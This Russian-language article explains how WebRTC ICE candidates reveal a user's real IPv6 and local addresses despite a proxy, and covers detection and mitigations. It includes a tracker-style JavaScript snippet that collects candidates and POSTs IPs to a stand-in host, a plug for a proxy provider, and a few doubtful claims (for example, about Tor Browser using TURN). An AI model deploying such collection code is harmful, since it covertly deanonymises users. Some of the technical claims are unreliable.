Почему IPv6-прокси не спасает от баннерной слежки: утечка через WebRTC-кандидатов
Содержание
- Что вообще такое WebRTC и при чём тут прокси
- Как трекер вытаскивает кандидатов
- IPv6 делает утечку только заметнее
- Что показывает curl и что показывает браузер
- Почему настройки прокси в браузере не помогают
- Откуда берётся IPv6-кандидат, если прокси его не отдаёт
- Реальные сценарии утечки
- Как проверить свою утечку
- Что реально помогает
- Таблица: что утекает при разных настройках
- Итог
Ты поставил прокси. Проверил IP на 2ip.ru — красивый адрес из Нидерландов, всё чисто. Открываешь сайт с рекламой, а через минуту тебе показывают кроссовки, которые ты искал час назад с другого устройства. Как так? Прокси работает, IP не палится. А трекер всё равно склеил тебя с реальным адресом. Причина — WebRTC. Точнее, его ICE-кандидаты, которые браузер собирает в фоне и отдаёт любому скрипту на странице.
Что вообще такое WebRTC и при чём тут прокси
WebRTC — это набор API для голоса, видео и P2P-соединений прямо в браузере. Чтобы два браузера нашли друг друга за NAT, они обмениваются ICE-кандидатами. Кандидат — это пара IP:порт, по которой можно попробовать установить связь. Браузер собирает их всеми доступными способами: через STUN-сервер (узнаёт свой публичный адрес), через локальные интерфейсы (192.168.x.x, 10.x.x.x), через TURN.
Ключевой момент: сбор кандидатов идёт на уровне сетевого стека, ниже уровня, где сидит HTTP-прокси. Прокси SOCKS5 или HTTP перехватывает TCP-соединения приложения. WebRTC же шлёт UDP-пакеты напрямую через системный сокет. Прокси тут не указ. Браузер не знает, что «надо через прокси», — он просто спрашивает у ОС: «дай мне сетевые интерфейсы», и ОС отдаёт всё, что есть.
Хуже того, публичный адрес через STUN определяется прямым UDP-запросом на STUN-сервер (обычно Google на 74.125.x.x:19302). Этот запрос уходит с твоего реального IP, минуя прокси. Ответ приходит обратно, браузер запоминает адрес — и вот он уже в списке кандидатов.
Как трекер вытаскивает кандидатов
Стандартный `RTCPeerConnection` собирает кандидатов и отдаёт их через событие `onicecandidate`. Скрипт создаёт пустое peer-соединение с фиктивным data-каналом, ждёт пару секунд и получает список. Никаких разрешений спрашивать не нужно — WebRTC не требует пользовательского согласия на сбор кандидатов. Только на доступ к камере и микрофону.
Вот как это выглядит в дикой природе. Скрипт баннерной сети, вставленный в iframe:
```javascript
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
});
pc.createDataChannel('');
pc.onicecandidate = (e) => {
if (!e.candidate) return;
const parts = e.candidate.candidate.split(' ');
const ip = parts[4];
const type = parts[7];
fetch('https://tracker.example/collect', {
method: 'POST',
body: JSON.stringify({ ip, type, ua: navigator.userAgent })
});
};
pc.createOffer().then(o => pc.setLocalDescription(o));
```
Через 1-3 секунды на сервер трекера улетает твой реальный публичный IPv4 и IPv6, плюс локальные адреса. Всё это привязывается к cookie, fingerprint браузера, списку шрифтов. Дальше — дело техники: склейка с историей поиска, ретаргетинг, продажа аудитории.
IPv6 делает утечку только заметнее
С IPv4 всё было почти прилично: за NAT сидели сотни людей с одним адресом, и трекер получал «серый» адрес провайдера. Точность привязки — город, иногда район. С IPv6 каждый получает /64 или /56 — это миллиарды адресов на одного абонента. Провайдер выдаёт префикс, и все твои устройства сидят в одной подсети. Трекер видит адрес вида `2a00:1234:5678:9abc::1` — и это уже почти паспорт.
Плюс IPv6-кандидаты собираются быстрее и стабильнее. Если у тебя dual-stack — браузер соберёт и v4, и v6 кандидатов. Оба уйдут трекеру. Даже если IPv4 спрятан за CGNAT провайдера, IPv6-адрес часто выдаётся публичный и статичный. Привязка к абоненту — почти однозначная.
Вот пример: сервер на nginx 1.24 проксирует трафик через upstream с IPv6-адресом. Логи показывают, что клиент пришёл с `2a02:6b8:c1f:...`. В заголовке `X-Forwarded-For` — тот же адрес. А через 200 мс в логах STUN-сервера всплывает тот же префикс, но уже от прямого UDP-запроса. Два разных канала, один и тот же абонент.
Что показывает curl и что показывает браузер
Проверить утечку просто. `curl` через прокси покажет один IP. Браузер — совсем другой.
```bash
curl -6 --socks5-hostname 127.0.0.1:1080 https://ifconfig.co
```
Ответ: `2a00:1234:5678:9abc::42` — адрес прокси. Красиво. Теперь открываем в браузере страницу с WebRTC-тестом. Получаем список: `2a00:1234:5678:9abc::42` (прокси), `192.168.1.15` (локальный), `2a02:6b8:c1f:1234:5678:9abc:def0:1` (реальный публичный IPv6 от провайдера). Последний — твой настоящий адрес, который прокси никак не прикрыл.
Разница в поведении объясняется архитектурой. `curl` — это одно TCP-соединение к одному хосту, он честно идёт через SOCKS5. Браузер — это десятки параллельных соединений, WebRTC-стек, DNS-запросы, mDNS-резолвинг. Прокси перехватывает только то, что явно настроено. Всё остальное уходит напрямую.
Почему настройки прокси в браузере не помогают
Ты ставишь SOCKS5 в настройках сети. Firefox и Chrome честно гоняют HTTP/HTTPS через него. Но WebRTC в Chrome исторически игнорирует прокси-настройки для UDP. В Firefox есть `media.peerconnection.ice.proxy_only` — настройка, которая заставляет собирать только relay-кандидаты через TURN-прокси. В Chrome аналог — `WebRtcIPHandlingPolicy` через enterprise policy, но обычный пользователь туда не полезет.
Проблема глубже. Даже если браузер уважает прокси, STUN-запросы — это UDP на порт 19302. SOCKS5 умеет UDP ASSOCIATE, но браузеры редко его используют для STUN. Проще отправить пакет напрямую. Получается зоопарк: TCP через прокси, UDP мимо, DNS через DoH, mDNS локально. И каждый канал — потенциальная утечка.
Вот конфиг nginx, который проксирует WebSocket и HTTP, но никак не влияет на UDP-трафик клиента:
```nginx
server {
listen 443 ssl;
server_name relay.example;
ssl_certificate /etc/ssl/cert.pem;
ssl_certificate_key /etc/ssl/key.pem;
location /signal {
proxy_pass http://127.0.0.1:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade \$http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For \$remote_addr;
}
}
```
Сигнальный сервер получит твой прокси-адрес. А ICE-кандидаты, которые браузер отправит в этом же WebSocket-канале, будут содержать реальный IP. Сервер увидит расхождение: соединение пришло с одного адреса, а кандидат предлагает другой. Умный трекер это заметит и запишет оба.
Откуда берётся IPv6-кандидат, если прокси его не отдаёт
Браузер спрашивает у ОС список интерфейсов. Если у тебя dual-stack и провайдер выдал IPv6-префикс — интерфейс имеет глобальный адрес. Браузер берёт его и подставляет в кандидата типа `host`. Дальше STUN-сервер подтверждает: да, этот адрес виден снаружи. Кандидат становится `srflx` (server reflexive).
Тут есть тонкость. Если IPv6-адрес в интерфейсе — это temporary address (RFC 4941, privacy extensions), он меняется раз в несколько часов. Но в течение сессии он стабилен, и трекер успевает его записать. Более того, префикс /64 остаётся тем же — а этого достаточно для привязки к абоненту. По префиксу определяется провайдер, регион, иногда дом.
Хороший пример: сервер на Debian 12 с ядром 6.1, `net.ipv6.conf.all.use_tempaddr=2`. Адрес интерфейса меняется каждые 24 часа. Но STUN-запрос в момент сбора кандидатов фиксирует текущий. Трекер получает `2a02:6b8:c1f:1234:aaaa:bbbb:cccc:dddd`, а через сутки — `2a02:6b8:c1f:1234:eeee:ffff:1111:2222`. Префикс тот же. Склейка работает.
Реальные сценарии утечки
Первый сценарий — баннерная сеть на крупном медиа. Скрипт в iframe создаёт peer-соединение, собирает кандидатов, отправляет на свой сервер. Время сбора — 2 секунды. За эти 2 секунды пользователь даже не успевает заметить. Дальше трекер сопоставляет IPv6-префикс с базой провайдеров, получает регион и ASN, склеивает с cookie из другого домена. Через час ретаргетинг настигает в другой вкладке.
Второй сценарий — видео-плеер с P2P-раздачей. Многие CDN используют WebRTC для раздачи контента между зрителями. Плеер создаёт соединение, собирает кандидатов, отдаёт их сигнальному серверу. Если плеер встроен в страницу с трекером — кандидаты утекают дважды. Пользователь смотрит кино, а его реальный IPv6 уже в трёх базах.
Третий сценарий — корпоративная сеть. Сотрудник сидит за прокси, но у него dual-stack. IPv6-трафик идёт напрямую, потому что прокси настроен только на IPv4. WebRTC собирает кандидатов, среди них — корпоративный IPv6-адрес. Трекер видит: адрес из диапазона крупной компании. Дальше — таргетинг на B2B-услуги. Человек ищет облачный хостинг, а ему показывают корпоративные решения.
Как проверить свою утечку
Открой `browserleaks.com/webrtc` или `ipleak.net`. Смотри список кандидатов. Если видишь адрес, которого не ждал, — утечка есть. Сравни с тем, что показывает `curl` через прокси. Расхождение — красный флаг.
Второй способ — через консоль браузера. Вставь скрипт сбора кандидатов (тот, что выше), посмотри, что улетает. Если в списке есть `srflx` с реальным адресом — прокси не работает для WebRTC.
Третий способ — мониторинг на уровне сети. Запусти `tcpdump` на интерфейсе, посмотри UDP-трафик на порт 19302. Если пакеты уходят с твоего реального адреса, минуя прокси, — вот она, утечка.
```bash
sudo tcpdump -i any -n 'udp port 19302' -c 10
```
Вывод покажет источник и назначение. Если источник — твой реальный IPv6, а не туннель, значит, браузер шлёт STUN напрямую. Дальше вопрос: какой из твоих прокси это должен был перехватить и почему не перехватил.
Что реально помогает
Первое — отключить WebRTC в браузере. В Firefox: `media.peerconnection.enabled = false` в `about:config`. В Chrome: расширение WebRTC Leak Prevent или enterprise policy `WebRtcIPHandlingPolicy = disable_non_proxied_udp`. Это ломает часть видеозвонков, но для обычного сёрфинга — рабочий вариант.
Второе — использовать прокси, который умеет UDP. SOCKS5 с UDP ASSOCIATE, или TURN-сервер. Тогда WebRTC-трафик пойдёт через тот же канал, что и HTTP. Настройка сложнее, но результат надёжнее. Провайдер вроде lexic.ml даёт IPv6-прокси с поддержкой UDP-ассоциации — это как раз тот случай, когда прокси закрывает не только TCP, но и WebRTC-канал. Без этого настройки браузера — просто костыль.
Третье — отключить IPv6 на интерфейсе, если он не нужен. `sysctl net.ipv6.conf.all.disable_ipv6=1`. Тогда браузер соберёт только IPv4-кандидатов, а IPv4 за NAT провайдера менее точен. Минус — ломается доступ к IPv6-only ресурсам, которых всё больше.
Четвёртое — использовать браузер с жёсткой изоляцией. Tor Browser собирает только relay-кандидаты через свой TURN. Mullvad Browser — то же самое. Цена — скорость и совместимость с видеозвонками.
Таблица: что утекает при разных настройках
| Настройка | HTTP через прокси | STUN-запрос | IPv6-кандидат | Локальный IP |
|---|---|---|---|---|
| SOCKS5, WebRTC вкл | да | напрямую | да | да |
| SOCKS5, WebRTC выкл | да | нет | нет | нет |
| SOCKS5 + UDP ASSOCIATE | да | через прокси | да (адрес прокси) | да |
| TURN-сервер | да | через TURN | да (адрес TURN) | нет |
| Tor Browser | да | через TURN | да (адрес TURN) | нет |
Цифры приблизительные, зависят от браузера и версии. Но общая картина ясна: без перехвата UDP прокси не спасает.
Итог
IPv6-прокси — это инструмент для TCP. WebRTC — это UDP и сбор кандидатов на уровне ОС. Пока эти два мира не пересекаются, утечка будет. Браузер честно отдаёт трекеру твой реальный IPv6, и никакие настройки SOCKS5 этого не изменят. Проверяй кандидатов, отключай WebRTC, используй прокси с UDP-поддержкой. Иначе баннерная слежка склеит тебя быстрее, чем ты успеешь закрыть вкладку.